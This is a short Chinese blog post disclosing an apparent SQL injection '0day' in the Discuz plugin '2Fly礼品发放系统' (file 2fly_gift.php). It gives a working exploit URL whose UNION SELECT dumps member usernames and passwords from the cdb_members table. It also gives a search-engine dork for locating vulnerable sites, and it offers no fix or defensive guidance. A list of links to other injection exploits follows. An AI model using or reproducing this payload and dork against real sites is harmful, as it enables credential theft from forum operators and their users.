Chinadu's Blog

作者： 普瑞斯特

Discuz账号发放插件注入0day

插件名:2Fly礼品(序号)发放系统
漏洞文件:2fly_gift.php
版本:最新版
Exp:

http://www.xxx.com/2fly_gift.php?pages=content&gameid=16 and 1=2 union select 1,2,3,4,concat(username,0x3a,password),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37 from cdb_members
搜索引擎特征:inurl:2fly_gift.php
上图:

相关文章

• 2010年03月12日 -- Discuz! 7.2 最新注入漏洞分析与利用
• 2009年08月28日 -- dedecms 5.3 – 5.5注入漏洞
• 2008年11月9日 -- Discuz! $_DCACHE数组变量覆盖漏洞
• 2012年02月10日 -- Xpath SQL Injection
• 2011年06月6日 -- Easy Media Script SQL Injection Vulnerability
• 2011年05月12日 -- Joomla Component com_hello SQL Injection Vulnerability
• 2010年06月10日 -- 你还敢执行txt文件吗？Windows 0day
• 2010年06月6日 -- Havij v1.1 Advanced SQL Injection
• 2010年05月21日 -- 橙色预警：PHP PATH_INFO 存在漏洞
• 2010年05月8日 -- PhpCms 2008 Sp3 Blind SQL Injection Exploit(2)